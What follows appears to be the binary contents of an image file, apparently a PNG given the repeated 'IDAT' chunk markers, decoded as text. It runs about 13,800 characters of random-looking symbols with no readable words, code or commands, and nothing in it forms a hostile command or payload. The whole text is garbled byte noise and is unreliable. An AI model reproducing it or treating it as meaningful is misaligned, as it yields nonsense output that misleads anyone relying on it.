^϶->BȧyMGm]I`)4J]t\˽sJrY)MmgE{ Iρ7y&m!lm`bAYf IDAT𗖟As^&'.p8q\Lף~,(|G7O8¡8x|1uS<@16fōWR,Mi ٟڍ9Y@~櫷{q;y/4-RiWqmorgY^_8mdc)8i[w6 v7s)qy1@=X%[W?-I57 SZHc#G-h+up\6)4<<r{'Wzx;^(@ F}4WJ)Iw~cr 1 Zt_Uנ6ZDP7^|')*8ޑ]ZPG-)mZ@PB5%:Y m+Ժ:60vsBYr/rnjhJ[L+< a41@oc>Ä:) CʜOӄA_f!Ƕ\ Y ubAӸ3u-ʟ&݊+9(9l '35''ON+ޚ k RڕjWCQ8x"eĢ[>~L 1սs'G QGF+׼}k!m{_u-2~( ͢[Ҏ.ҨrZ_7( oiZ8RRn̿$:vv KWv.F Ns̕-^/"%U7+jJӇo/댡ؚ u=R9М`"s&h%W>!vs1̶&/C4:t7 /b~opv( MA m T.`5r>ǹ-"[Vd?^MbJ~jd BeKAt|O>$*K'])R)'h[`bEcUsR%AkY7> tuIνSTRS5u·@>)h(pg,%Yk )y+b3^F#R: ʐEHE,iݳy%5Y9`8( tO,Rح ,OH~)bqp.zͅ/%+baO:;8%^;f 8}ϜO>Fa(p "轺\(rZᾯ9"-}U*M.q6,kϪKR㦽GU@r ~l\ _JK߅2MwtBp#)fZ]ֻU^ &a]&}r@[,[w_ eeҍC 'H m7}50+E@Ii}>bA<%y SPyUd6^f *P+=>6x]EM^P+72}p{'D=`]HؒFvʁ kP\?Ν-x;R-KV۵x2 -0K:jM\*CW_Vu@o=آM do O'ybfu-ybP ՠ3zU%檨_ym&aI'4f,xJ7Cp_::=Nؽp7Ll5$oOm}9+K@BgfVJeg9<0ܽ!H#^.kO,4Yl H*=ԮaNO@v݇C{ Z TjYWI vHзmoy^vM4w]P0~W0M>8M~*(zKKҐ$6}aXJ u▆T8W-(Rj`5RT&/jj?oק]Тh|XV걲wG> + Wlrׄ(931<;}UΆb/ 7;ı} yKl ^=MvYxBRD6bډ_z,{;tTⰾW ̃`|Ldv3yy47jx.mawp"\/~qm׌WJ,mNERzo_7\} 8M Ey\{\hZ jQoHa()Ư x^ɃtL#t5,]J;e¡6uEdn'@cmѕ}+<&P͛\ w? !ddR8/]8%~ptfzcRFP)HGs*gB߁{/oz &J AJ,c"v{OD,LX0?ǐ<Ɍn]ɰȹc':z,I ';QWG;.P~.yy65ofRV|7@Zʃ2G`eRZi+VO]ퟒD2-tH_RR:iM a{6(i?wq`A2{@s!R@` 9)xtm{ i'tJ29oOMʞMԀbQV(!A~47{w`GYKdJU<X\ԽJ|4s=`~:M^cMuL˰+Tj ߎamz4޹?@k[gdHq_˯j?\4Bع:!t;.X'I9QX=i:Q6>S!fo4зI~qk]\K-bF u?F ihl)8P!ly>n^[-qmNh *HBK|<`9қ5@^ʟ9 < , ' X$ɢ\w4̯a(/{Rj+gѕr]0] ]TbʶZby]až}!^7K8.n@W eTMk,R"myeTe#4y Yi W&W"j*t 93ooE)paJgeRn w̯Z`vOKJmyQq_")*GWt 򵰔^fl (ɔ+KiwZ4~l,('+X4EdUpPtݵŭR`=!@߶dJIQK$+b#.}|)Y<| ݼ T!f)߸uzO´1Js;FC Ñ1X]e5.V*z;Eih`]oB_r;a=o:Um1 JBtU;!%ڕP9]C@1ӥ[L}A7X )t[.޷i|_]"e[ )j){, z;o3D|<:Xt4#>x={e8J׷r45Y E<_گH *7Bd\NMSUr "]jJ*ֻ*: xS @7<x|iYF/LReA"$?Vi JIrWs2S!MqVvfQǾ020^^B/ibQguEҜdo TUOCRj#] nWBŧchpcTIvD,~߽Yj#@tx6[J|aP^~mr|'[EmYciuK϶Dޒb<DžPN$o$(55m5*=ū=-bʹOm;P{¾݅pOS6GOtA[-?O7k{}B2HY۽ix=L$ mY&8Ve/2sS }Vo| -E6u`}Cu*u?y%{q&t}9A4։Oxmu[Ϩ-0z;)n{o d[ʰ  ^ͱҧAt< P ή2v~ew8<9jfku 6kl]v*` /)N@z9\!'P%WƴhyJ+1/X2f)g+yj9%Wѵ}*.p@i1ęnU:&W xIX prA.60E7WJo}r>8 0 }or,l|4[ `眿5jpvl:q](^.iZ~NyqgTEQg4;&uly9w0CAe; u5QVR0WAծ-p5u{/} +W. 䐓9\lyb1X]g^ ŗ!Þ ngD H Y΀y#eX<عxp7]o&Wk:,+8\KGGTxТv igXp62y&`Wq/A@HߓJc -TYá,\eCgSm[,X>@ 0Tu6VV;M#؟bW^2Id_Y@ b+|(R>l)$f$E_wDّ0M0&I>y}fT K]8#shdtG:wǫYCQ>, x~iߟE=Ful/9or'בs=_ĜRƯ+sJQJ/*8V`sX> }T(TS~U&cEyTA&1טNWkRkꭁҚnJ]GߐHc 43oUx13Y8>+[YG]Ӣ4X]Yڤ _3ChEqSeN$(ޥ'&szM2|S?x4CRh;Fي߸{!s\ a A3u_nS2G_6Gȃ]m<_@kO>< |=k=W&q=P2׈?GG]8|@Dʫ8mQ}ls)+>-/r$B{p> Ŀ[ưcJ[s5֖+35 W-(+NLI R-Y -86/W㟵X'r%AUTt7Z40-wB[332Y'9d&5iDE=oWc?m)B\υs3O΀ܿ7$g x4{O43P4f~6ن~^{J!~"Թs! boSj1 ˀfuh?Xw .4zY֊,?EBw룾?sČ=}J.2j=_*q핰c|BXEݺNVFb*AZb x\yH؟ڠoToWiq!Km(0iԠ.ĥ_qt?JU&ֲBX9 bZ}ѺQr>)XRn=T/+&LjqO ; +_$R150TCK/o[vpx5igJ*|l8hyXq&pQJ`@c/Ɂ0xVs7[}' isQW16<~bn=w%nKKu;T @hOx{o!ػm4sGַUPxe)wW`WA}R"9aN.\Qu{E;|u2ӡpnͽ~E>olK-h]@fMJe!&N{\kÛ|gc @2611`eB]4pE\zaKp=˯;. v~w*Ӝ>Q=x?@IJ %=T^(nθW{LJBpWȣ~?qv]nYJw[؟g gr Pm~rA9Z`JsP|ΘZHe#kq$j2~-7^#s]S8pJ-"_:ʫ剽҆>$`&t|iųm|#OG;e>"j7Pߚwys'_'4.QW`;  bq 0 [!Kx~EOc?FKcГuJ~ngSJM3K[YRzs6UxzC}GpW NcѻO_}P5%@F;6V_ͩv9WSS~w9Χ1U>IHLF= ꞎ z> i[nUZ Y;5kN4Z^=o)8+nTg/ iɗ~EɏwQm_q˞b ir@DEX ?e9ɡ@9O o n0c%w2rf$=A h}*%F=5vPPZ; %&1r`L=Cj|i*}ƏBZ<}{vGϼf{fBDk%|,\xW`‘,> X7vqsڭٶ0T*b01>&o+lZy ؏t$~XߴgV(&{/6- x{Z>]+$0qTP{1 5nSd! scy)Jr|۠.;uBrع9TQ'Qmߚ)Ug^WA˄Ь :ȭ{a7˯߅=7hEWۺ9\@8J5q⩛ʉ"xGґ.q2<'up3}V3}rDH3_c<]w>p+߸;uJ}vwO^ i.:5 k{= EP\ssAg :vI+@f#xU4Ye셠ҔTtўݬE`pf+T}S,V(xMJe-\gkVֆAVjhvilL>QQ xb/^Ҋ_Ez_;ۊ7D Զ &6  ˍg 0#H]!'hyϟč9?SGk+`O1f+(lBl+y 8ꫦm߼Nvrgqv_}/#yee+ (ߥA,Ws4~V, 2d37vwqsq[?0g?ڪV4T[a+֡ /%Eۧă= X-T0UVj9;Z[rCD(AqgEw 8%O=7&,qTcُK%3'RfK3=_u+gBMg9YFg,э^*1RХmIyvRzǏfшv1_Zh, ?e?_x}8Bb+u+ R(wν: vIw5"vq˕mTS~QO_RKҔ_!RR(+4S~bOPV mKBH( +O=vNJ׃Tze yf)|?,\HzP}JY;U0@qT[mS[Pc+Vv\/gt3'@|_Ms͘&3s$?ikoa1}KFpEk!s,̑x%Xg<\8(ѧi珬F'H+垿mG[9p_Fl;K'[]ɪ+3% G)eY{g'o3󍝽[07!M*9c\>wOn\U[$zͧE=e6 ךK>,S|o}RcRjM\+Vo+IeKMSYaѰvr {v(]LgR΂$&ղ[ "1CpG=])@1?l򕿶x35`VLA8EOޛpRyGgbW'e|ٮhw}h-,n %Ηlŏ;{_ 5+3M|e/G}8uCwt)9in{r {0=t87S۲ OIC.1-Nzs;.cEsWއa?*=#<|>&-[ *q|R|0ZuKW-\Y.+:ݵvV~K?-G ~7,=2k4 `௱m!PWbw<\2m?. o-S_:G1Ơ9@Ya49-M1QQgA試KvA+RHQ{ z<3C49hxVXв@&F#|./ >MaI=|To+gd>}ണ~][z|ZN1,,V,"iApmX:”j س]7:q]3`"Gkwc s *6Wr씷h^ϋ1Gr.#cԷ2,AJ&3$bQx?=wg:\/!_&~`쳉_g 5򌴱=ai&ee/Hr&nrbP0W~)偁 r+ _|W*(1$ŎEk-ku$O LPDsO+NM.dNZ_t`|*+F%:T JHՁa~to6e=)o vZv50~Wןe,9z ҵ$7c=6gH`*d2SLRH)cBBM!a d2I0l 1~`K6lɶ$K~5zVstAԷowzsW,kNi}aB\B4 W?w>Z@|@ {Y@aP 3;]e6G?xqҪ9 pwUYT:ߍ'AK?gJcJXI Z)s/ ;^Dp|8yRx@@9<@(9\ә獥R8NH>Xe0'!mzeyQh+&ZJ/|~O50&oMm|hl4H iWݭ}/?_p.|O[qǴ&PvZK돫xX˜ S4=QȊ}nt0R $xMD29U'`oӛ6>4z{c!UڣՂ0^ Wdjtϙfϥ 4 Ѣ4yڱzEŇ@ݳ|7}Iz^x<]Q94r' W H;KxbUhiqy8♉?$߾ޅƶqU%'un0Q޲=b]@XlJUQz)C%퇿p7-|lԍ}3W']Jb!enI0}{?8'oh #6@:e@UIz8!\zD}ߒޞ9rgb'Xz`ϕM*SN2]o f n 3W(Ov$|2DϼWN]57݌;^XP+^# 3TRTtocenޫ{W %@/.VzzGWG; =s7};) ť}BJA\|z\tzsy_>o O]ܦnAGh]ݳDVG_[~K30^tHg;(΀Z3Eh}: ȟw@DD&٦/m*à{?ټ~m3s΀y)%? eljk(\G kb$o0t@߻8pw{n9LfH@h,R yOnȶ04e:. uW$~;%$xP%^ @xz^-| d@ƯG,!2'T Cmm$o@u>WaЕ %(Ű[0l̗  L{z6IoEHa3 _<}__2 !W{1@n!8Y;@Qn\x3򵠫 !Le6*ʞu~k=K,/O{u* 3\z\QR<4UҞmŰw׵u /} Ws~NJ(`}^!zLK RFG|h%h[oural`x#5-{GoOa Peo ӹyޟŢ Gs8줒A$:~VƼȕn> ߷O[CkCoeUua sn"Wxe䠴&k94)2zlO{S%t_uV8z7DA@i~ç1 y;*&Zfy͕? Y{ z+} _({op_~ RQIA!ʁ S}O)ʞ)}<z{SYGcs۽w9?`ӕ=9-?w644r"@|3wanϕӕ?/W\0i8V@Ay7䙯hxxK urqu>+=zP*>\ WJHĜYFiKl2E3Rd>v@ ;:Euva3!GGmD:`'H;W.Y'h~[ 3 IDAT~-- 0 ѾWlœ6X@^8( 0 o?[+hv9onG w甃M *na,o=Zs=`fZIEt^ǝ۱~kN!c;+M^ YeO_cNF:\>ʿY2m\[Wh E}|} T**; ;1^'i%Jz-iSApjm(Z^wIU6 C._9fzAL^÷1pcu;V TE$|YPqنrN|>Vdl4l 0KwG 0,]`k-C ϯ]xZsJy޷kH2$g YH9QiJ9P7`oGOʕ`&G{Ņ_pʜ7cz_^Fo >o@ɖ?csQ @׮=O*Ǔ)$ l*qRJ`TN/ok^v{;%ȓ|1@q%śN{9W +_OȕsS@wr,ͤ)p+Nw3zcajw:UY߳'@[q _`D1]ـ,*K*K}[e; 7} V>w=.%W-V^,\02-cyfgxLᶯ{9}k+dL7{ aJe/t-G+O/]JP SW跿Ip͇O/Q! LGE*[,m/NaB*aw\􆿴0; ȉ1Rb°\LL@F ;T:Bh+Fw )3nHn[Ԧ~kɈx:>_ nj=Zls4+ˉ qR5'e9 2mf1stzob؉ kBVR܌}c-@r?JӯJ |b/z;}kp뿦803-UpS'fIbGO@4 "&8AkW|M*W^d~]=w`n| cW0s=T!4߷-P -"ژ[.@izX"cJ@dl}i[' Z=اoW$= - %=>Y4' U-i}B#ǨBu:U.ٱF\zcm;sm,;UXw>3 ]0Gm`KaC[h$c1z' 4"솲س Kj$Dp8/,aqW>*ɕhcyic?.+-y10ht[4N{ XnJ5L7+ N⚺W}R L[jcQ)뒪צx^IIkZLl JD'Ts^vqޟ|WHg+5ʞ=*T:vqN ' -rdm+{ z^}\<z/ ~/amK[+XK/ [{9,L⥌ɞ?sa9d(mo\ydx÷=mNB7ԮsGˍJkDZ<ꀱ7@ eFr%"2jHJI+_mz.;>JJ鲎gMPVCo_gP- uiw|o2ث;Νh L @OD!(vl#ĭSmƒYh6c.+j\)JlM[D}#N ,_qi)à~ #oIoC~p}7vޛuϟ7M-Ak?hc8w> W LOB>K̅z|=9^p L7py[* SL{0//!f*vR`K~nT0kj J7{^e;ɷj r 5TwG>tNbPoEHO:^ 4e ?$蒼| h)]޼uX$pb+ا3n(7PA-\eXow{=/ 2E3 `2b \+/fŸ\Nk[%tsRo}x?8Q@/@8X„V{T\=O x6Ƅ^:M ױw]O?W8%~{`=>}b_aTmϿ6ؿ%XSuٷ, +d葃؁W,#k'm`WZ:n{sHVN (bP ΊI[I' mkN6**5yHBvr`g&==~NG:!o売>\f+ E+|; CK%A?ҥ?bW|bkeq-({N[vK;M\썟c67+{Vzo; [2'Q=V.><[6"VpSt5)VnqJ;L)ߟu ;և=|3 h|lIpEˮKfuNI ,qm߇_ع}!^nݫ0qw[@ηD9qwS9,3ʩ#V*_{נHpv!| W% tYӌ+ hΛƒ1Elk3Z$c(‡am?GVZ=.?n *>pg߉, ~?y 'y5@+{ Ume/Kc>TE޵z# k.H d=T2YF$hwL$@?iTzjO)}{oN;)fRJ+sf *qܼa3Ƭ< 3>e2HkR55q;@fl %A]K¯ͧ6 ({z;n '29ۥ1]@ܥ} =g8`UGsX6Iÿ66N[vqց9{W#\q*I7"LM{i!â˔3qJes=g?op;Zض #_?Gq>q%K7gaQ7c_Or>)#5sq7G!7a (q]͋;r1ɲ):ceOfI}y(aYr||"A7|j+G/S+ʜ5 )NZky#ýyu+] Vz%Hm 6T3-ߜX-!B2xab>@Y0 yŠOw~aL{d -No?-O*^ɚ4Ү6 ڍ"s+@_m V@9fY핃Uwo8bEm{p7>hʮlv5$zɢ=ʗjg.h &B9О6YZѾUBӨ7P ɾU=`Źvr~7/aaw:+ [+ɠV634?ՠ(!&`pV61;d}|{~uj%l쿥"0WT98w܅Ϲ*}nWgއ|?. ОW96&cb)tu}ѳ/n89Zy-m3x')Q,_\!S*VAo`,z+dOUr!G;I}Ѹz+*':&^ŵŅu\/bgz [~TA#eZ'];Jtȓݚ7GZi35W . =Qݑ ( u 4!lfnG`I^ o||ߏcO/;~k8'Źߏ >w'N#VcCrb?"uapc` {u ?硋E\ { <3F3-lݮЦbTamoŰh7 fS0߶Mv@"V*K1$jp\0wP;u{\)m7'}=6Ή~6|` !sn\%~G}M/xC>D:ujW>cyyI%EufH*;?mKxoRX 04}”xgr~sopU{:ٵ/^|w</oq ,.\%.C/o`xbػk{npn bmnf𬛰Λ1ށ;b09}c"rȔ$a)!9[frҏФL $h Fw'TЙ[-) è3K*_(S~'R;iDk׷젆KU&T%"G >ܳJq>=cyޜ?rgucLuP[PVV5y8v4@]D;?ۡ4OLM$%`wٚR\-;W-#k[} q` a1n~N^S9HZ2XSߴZT$Z05C [*D~_\@10k|k_.>Q_(Ϋۤoxk7m#O/Ak֬ ʒ.Դ%O{Tff<@V`Jsu:btLsAvf$b{@@^hg_`y=XOӦ/¡o~7<tU'o]nuчSQ26sj&._n؃GvĶB=67K^OWC^ ؑS>T>R* u>i -ɱ9n rJ<u}gE hh8 ]ͫ"Cj8ҭ>VF#M]'4b8 ے εO:zԒ|gY~IGNh(tIڝ P^5ػE`ԟ-O]]϶ lKS>xe{ L؉O~彩{[1,!O$qVW43Lrr%Y]/Oto'"F93kJّSnBhV|W@/`gЁ}IhDSRz4WƩ8OGQIX ;Sȧt>?BhBi*< l)_N#CًU2_8,8?)9T%ZdR|D::P8CpZ%T@/FM O{v>]~-3 ;"% :Q.nZJAQ"P/*=dԑ>Na՗hf0^ L&5)WKoL1MCy8%OkPũ3{0GWwSߑ>'xyNLl;MҦn)TbR(w5~ßPzUk4`lk;1> ?jJkV\5TR~JOZb:R,PUW/]-۳f)Dw \\p)9;Es4eL~Oў'nA/213ׁW-Q+Z8,Kx׵du/:W EWrb;%\20쓑L,#qpv |B g}#ο(8(xa@]^ٟXda2=e _ж7n]ڴcg{L4ʎ8^iG-~20ЛGUMRxoI/DS33VL0MwaqFQkBY&? SZVu8fy:җ+s-UG3փmk9a%ӝתk`%M5oq҆yyנ =XoK<˕?ϞāXۻgτY/\ƉqO,%?6lg}hoe%.~ +ZWth5OzVLǔѿvLʠd91&P*9]Ȋ!|u $$sg8>za&'㎚N2):.$JASw DQ]˪Jg/fˊKV: ypvөp3U4G? ѭ\vLߝ.kh]16*'p*R(3g9W fiV?';Oƾvxdk>v4,;+u=\u~c-~S#+d4T7ʆLԑʁՃV  lڧh/"O-yN0G(-U;/h_9j!7W5s%$.LS%^U(r| DqS&_g sqt1q΀i{;!(04!é|/m&3Žaw{6gTɯ:>>`1G%tؙ},~&k1.3>( *UO(WWMyqkP|0@]e Ul=d ]n7Uᕯ5{§#C=v=1Ҷeo{qPO$6PXhi #I٩*]@kosR#1T(q6tiXp._ALըp@?VO+@n6ky}yGG%yrg? k7v | )KTzKA}qt]>:~ zgu ~i,N-;O93"EƋG!o]V9=\Z~tʁvU-;E|)  WR<6P+vԍM{J? >ۖN_E=C <>"-LmbB}#Ib耾*ԏL_N`ȟX s+,~e<[r.ocT)rP-ɻ$ D `!I΂lhq39G wjjo̾ zsйd'ǎ\<+yߝlR{% -NNפϲ}^x2%pӾ8ħ~wwg?mA/]p?~wqߎoֈ#@-i> 3Ij6;9s8:ʢz>Duuc4xa,dH:^2{HW?_{ h3@>';ּ78|}|_ؚτ$\gqG?l~D;n"/ݑ+@lT I"@h`ŚbYv8]b舒!(_4T H76impGi6OJ`M6EǓ }K_ T")ܫjX:|Ff Whr( %~~?vɀ?\gYqϧ2pu!@JO`xXW7~1-n?FtaX oi18ofW̞˔ROVI*Eiz G׈޴p}kq_g *쯼߀n,@lOx<_=]#i@ǖ>_ &a׋hן6 !,Hӫ0ނ޽? ]`W2U^o^L%&xp<+''FuUp/%d*n7`m<ٲɟG̳-҄#6RꀚfRꪑ]oKqd.Kwq8ƹO]s+P@] JG~⢟TxK@+:G(%@yn:p "Vq {uτ6>w~WpdzxK4to<Ü" Zʟ,!Հ8E;MSx6Mٿn9=A)RzKeoV.,_rT׼U'/'/R T#=\KTA}UT9T6{ȷ4`*ٚ4ZYDwmAK%q^Q[Uh &Mt.k S(G!>˩/ASL!V3Tع yzف%0]{F#6 Ui..taihMLiX Ўm߸Sm_j/67@Zl_4wV=m Y/c*?e/6/wSg=vfv}P'ͭցąQу$΅B0 ՀR_n& +jnSdmګN%5$:JDH7$x B<+#[~տdpnutfIoB5&Dᖙ.K[U[OIg @|ĝȣ8w~3<-gOs/v ennrC{Hc:0?IqDpf"0?-"LN_)~QSF%"o9;:lw'ܷ/3Ӡ`iڵExayg/}HKCL/]ׯ+%XU _tدr՟w+KXK62AZײ ]SC ]%[HgUvQ͚rߑrԟ~%^LڢdɶTUz~g;%=ivHN=KdRYPT1RV׮2uC_t<bQFEҕsOٟAJpejMl'hSӮ=vFŏyOBRwT2{ a~J QPFnl+ $ sXf}'gW},iFZ@}vt1pH S ֹ >kE8s;\'n?O-2Eyw,;\5` 'g?g@SN+2.pé!E嫿_<eU\ޅ Xg_Á;En/q`@H=z|rMe\FH%Yg%âsMWx3 2/AXKHn+&fD3v),,sckrDo͘^: * Cw_˛ `mS@\9]Ѱ}jbGY'u5Grg .@Y&.@` YPIN ,_V"09>`lJ6]33QH984'as`pC}/{9nWaMGg9,Ny?ξ=X^[kR,l)(W*i MMJ~Q_٣]bm+p-VJAgkq숨%tIԗ }L?| U,)IRsy`}G 9Qz!ft`ke)Ͳ(~|ͫXܧ\V@Q敀#OCMlCSn(ۇG&cKr:,1\`A7gv={ߌ{jx ~sp8N*~OJH:֍| Q ]Zү<R ne>|L5X)Var9H*]6!XvJA~. MIJmJ Hs/.aP+J`t+'Zc et qb`8BHQE!F(_Tb?P}n{`ˣWI:%>s ıbӌ8O'#kK_ píu6l<.>\xGqCDZ66wD8z6~O!@ e808kjO{ dcN2-o9~;~~: ǣ xTv 8%E7zj11YBQ% /1<RU8u+=k_{*,{{%Lj`E_ÿvwrpF guX+қy"C:A(. 1*+ZQGR<8Y;Om8YWOPhB2mwƟ)n-pր^QVK = '҅3:x1co^={#[qqO>ţ' ֍w#Ux-gN7=HVN{+Izg%a$[xBnj0.zyԹҴkYՍHvj|V?B[)} ^$KZ\V _4qaRڸ&R[zn[*̊G p$@At~y9_hw(yZ R*^BiU8Ut4+BŇ!G rļ' IDATytQAd=n?2pU}.m,I_ ).t߯Q wv@W(p88wP=n9,psص"N`3Gi h9HF73_۞%hݥ޿a'('假]J_>'N^kr#72G$cN|z>Ô xcv3xe=G_B12]= .{"0XߥU ȕJlD/]J-[DhtK̭CE4 AK zXy{'Tr %vdgңOKϗn ff@2?“Q,ϋ}{ΏH3#jTe 꿪`>NJ0A ?[(s^N1iZ\@:ru 9)m@\Tg UÞl%JSz2qRl-}Jg=9am\ 8qG-EXbNs.g.g*m1 \t.)\7EqՊv [hܨ0">$L t4Wvx? uea@2h۟2>tq9 zEpDV$f0<.:\<c/M_vLdYo::U6cy&O&WB܈ԞO5. tFWfWez>1Odh*;dZC.! UQ1A4% heyaZǘ43ba t1k'*(@% lw,N2MԵ'0fz.hlz8 }&&wNr8% ܛ6!(HJ~1BD;z]yW8![l [ң߿璼{=$|֮ l;R'|D#6VB {tdyi Br 9bq!nn< w9."+R TђRg=;gb/Nb4!ڠS֨}UIQ⓶'l3F/1"˴!\]]%^mȣM&}! BM%((Q?j V_[ozW(Y}%i9tLQnŴstK(wd;pۼGBVȠN 6OZLum[>oGr'!}EA>85 9U 蔔xJ64cIs,xy8J j67~H) B'-d22> SYjJV7++$y xAJ[|do kaіADŽǷb@\&\*\vh&,ⅱR[lNKi 4׆ćd6kc o7YTG0¿ =-˔#:ɫm~IGϽKA5R&sd~ Ͼgẳ\ǚ2X@u[\A9]` xd.;ҫZ Yn`mr`|!z.vk'7$$dэH/FzgI07i0}'+ª G7bf EA]}GhGtӢү4e5s+ҶCjQ3Oo-N$>ӥZG 04G_TA sŌDȉǬoCcm4i+ׁ˖~SYT? dϊ~ 񰛌{@2":)O߭HK߷:'+j4sB3@i=̥:=|̩B hؼvW"<4;S[К-rxs7Zpz/]NO}Cq{}B4Σdp5 澷; py{|O*gjxŋM!Ky44Ճ s4yr2,UXss2a>r~{igkt9!򧭣㒶:(4a`SnbدܺC[Y{%&ҵ1'WJŦ)9y<~7%{veN}VB?6f`ڇI<ٴsb`Vq\';чrEl Aƪ=+ 0oom8Ε4fh^A嵟cYC4:T u9EĄzX*; JmBJlmT?$vLyL򴹔y7{ ODbQw{o^kwRAl>Ε*Cľ}SQ*gBו5ṣn5}{f \W%F7?Jn@Do)`=_U <  \-0fMk:Ё;Tw^jJ q^)-tb<^>[ӓ3t}vEOˢ\1~۱ٍǟ3S>38(wn|, v{ $j g3>\QX֣m$}n@y,_ NJqEDZ+Oj|?*r/QO I }]V0}{ʩIȽ{r ${iJ e[o$Ӿ}Prɡh?i&tZl ۧ~4'wҊmF$3!u8ݒ?;/9B>BY שtKP ǰpڛ7_Jɹg7IIOgW V=M߃6w9~<% +@^O޶Eoť$#,(ZݻAM 2o!>/%T`紓(QIcx) aoD|!8J 0\ EeB#9[G>!,.1@L gKd"o U~h Ī⁇poyLfqLp$x#0i*$L}FPcsԺ8BQFIR0}ܒ>u}A` W j*-%O{ç_5 >AR*i4Zd7Au!ՄcB{#4&!YLNW/l0B |г@b^'Fڮn^,'Y/˦t0#2nMf;J:o)-ľ' X^osf,WgV`n:\tK`pQB~f(t&CkK%]gb@g2od/Ko 7xFÅ-P9~$h*R.A%o%jFe؉p}!p)@أwz;+N~^ 7 6KC2̜"Cc0%:d3-ьF(H48bIw*W$\N?m]y>{zgt +T^?0sK;8zg>έ[1wSXۇdLmWlj 123^f?I 1)}=m\5%eΥ<оs#r`F3WV)D 4sA;z&\r`&Y^T@$~qYC=j|\Y`wt^톦2hooϷhIpz;fVS ؉p[NVŜN'`TJ@؋ź2`OV=(7פ΂Ч|AǤ0@'kVn#zgi(o ct_r/+zhDR:DB7w@ }g7rxQڜISR&ӣ4Ds:OЗżg) & \ |<H tGA*}$PfUQvz4:AA^oAqsG7uuvHJiVn7AĻ <~gM ˳>S@] ~&q.$:ǦOI3%# cb?QZ{g~ m󊇂5k+DgmX߷]}I\/ ??&r*kY݈(IAHŁV<to/9M)t;Wb*X1!H7.U XZď-WuW$jy>6π{YGbJ<Ǣ5¼5 Ҕ/#}{_#bќ3پ0-NFƣ(MwOo&n=76zPc@Kh%5rfNA 7`'•~j(2_sΰPBt3_7L eio}o\]'L.w@~tX5DoCm/O*mz~"gzB_1HG';Hv_H{ZPbn9hs@tl2{3v$r7,i=]9?j7sͭ ,'@,r6&AtQ[I uzbZi:r5H8iYvsvGۏ nܹ?iu`&AB~P%D~V&l z_w#0fh4 ^@ДB W|^" YfMו(jxL< n3H+ݸY[< .#mVId$ˁLyWj>Dϣ9!!M}^S20TG>vf x5_,KeWNICZ܊{9>75@W,<  JFGASE5Txh Y,,r*?m)Ћ?nk< i냨APfCVO硔f8Hʪ31]0Fs'>Ds? !& 3إ3"D$!S~ܜ yOuy܈"ycj)gh 8-VҌhWulv㪴PX9^w O <"oB1$߃jKf^K }z%:Ml9I`_`֟R? ˳?nܬp?>ߦg>VM`+吸9^2և_3̢˰R38Yx>c.`Ny,2B(َb/2mS!Ha-n$AaYq=s9bf qm/\LUP@hId/cu`_HÒʃv6 *I/^J"0YmMVGGt2`;|ŀ]O~gMu7R `)>4\z6hױ"@|TJ_ %`T.EȳqPR\ 6]'s6-=ѣzJ~o+55P6xoW-}[|ga.G^Q[;rV-a go v!:[$Z.r:ˠ IDATp{?p8}Ƨ}{@=lnϴx+gڋ1SeV~ X`ҤXYJaԃT#V:r`  ϕgUO˹~7ٙ!8jo[|iRP-iK!R7-z+7)9HO[uu}Y%xK'*.nrԉ@gNך%e 㮿ai~1WBں9BI aluKfF ?/@fv2-B*4E[K%x4Up ?P?D\rPfq3O9wgp4NVOu von;6x#>:мoO+a#xRVvvNj/Q(#(گdNZxedK*q 0YS&Lƣ`B„_WDZ?Є!1t GE9gAmgV*Xndblm@!}nPf32ȉ\^)4Yzg%σ?m'^kϜL3f?$ nyO^N&HEAa0 D_ wS,v|JZ6m"xwQ[ﶕ"Ip2x y+{/xA7zri$|Ե SҨEvP6wW[vA,̌/!Bix2%V'_w< 4mẠyP:NDkg ?oN]?E+rX)}x;P8L(u^_4FրYn;2^syZL@rtRʊx(n1, }m?|YD%M=oF#](=V|6Ɵ`Y:2G![<,=Mv ;⦆K/طenmVl1 PGlN vb;B\ڧ: (;H/KV~^}Xvίd0;g0O**^\¼3uFjS}i?Ә2Y{Kf|=h˅/W/szyoᦆ۰8` hF@1"Oz>Ǖ4[怮MtwOvn:Fy+TM 8Ac-DH̷p%P#>zppPx9nhǵ;7?NjD //-`|`xc`sE iɲSoBLm;'p3~[=zڦo!Z\Dm `}}V{S>s *`~#rFyHEbyvoQ`K@ϵD#? 4'Mxɀ{hZ̳RjX(`X3]V*1 6u2c˿N@E Q@d^@>cf {%5vgyGAϥxy hD78]cK`0%?``xt2vS]^ 6^W-wD';j.M /?q03h2в_CcG|^#Xȫf޷ra)ig}-qRPiy v hoRX|qjuhYV* A*x0vq.veϣ@69@ Ŧ $&^nk}+| QȥXڛE1?]էps@!wqj*N~19-}<#%`Gk*7ۨN[hV>~y8(g\6W1z0Tpi(aMwJq;u}÷W8ū1,ZՁcYMt ?<5ȝ_~#Ӛ" ce4ƳSk\FxR<s1TJmyAy紐-{ {^6? 3qMDoo `_/p;vk -Sᘊ:@iAvȗY#՗Q>2=< /^a`%\FP rʟCĚyzpXyN9^2_,3BCZ؉2ʁ(AǎViW꤇6>tYlB?TVE@*_= BmgGSB>M@8{0.| ҘrPj<ˈ[Kͣ@P^Z5ҰLvR*̘۸%iL],O;%m**usYk֍dF;;qMvyڄƴA´[# 6*.<S61Cub\Y.l6_-vNa xo!t}X.oҍӶ1F0v寁fkOL+܈usqw{ۛ0`3SwQ u H%l؂bmsd.if`h-2[~TLffK{`P@@̵gP5dI[ zQj?%&ezDK>翲Ar@fs k0/.o.ֿ>64'O2;^ܳ|H%,=vo@8!6=7;m KcЫAVjՋیF_h!;wzay FQ2HۑCm̧?DW~-#exVஂ[{TZ[\fIA$8o ]L!_K/KF}>'4~&(-&#DHNzߨ7nLNzI(##uA1)F,(D@-0'5*8EW [~grH,N~ V]-H8gO P|7R/g/gZוI^*ٷ2O[zz@/ x ܸ8u29u!@/UPrto(g @2Ɗ4ʿu Xfo[,QW f&f9/~-v~OB>po9eor!iWL~zMg~͔OMƏ~_2pU ǫ{NY|(2?XQibD3℮MA+ NNV9s"^(V"agNՠ["H -> 3pг0o,WQw DHw%sޫG|vHvXζ|F[h2ۀ\Ҽt'.0[BEe"- ,pIx ֌Žs祟⨟3Ĵ*eo(D3XuH/YNga?}nֳ0'=|zxrf8ƚ_[¿ 9ղԑNH, mII`jn gJ Z+mx@I*:DV9^ĊѪAC l47;wc3=p3Ё/~tsWh:B7Zէx#ku8}q{i`].+rȳ&s\! {SzO236Ne˳`J 0|/CJzj4tzB7񴈢tH7ރ k~n~gbޏq}J `b0雙=:cL콀-4\WhnX]#*?+BL2[tSVp$1g+28|lAA? m%X4Z,T&o!CrSV(d?h 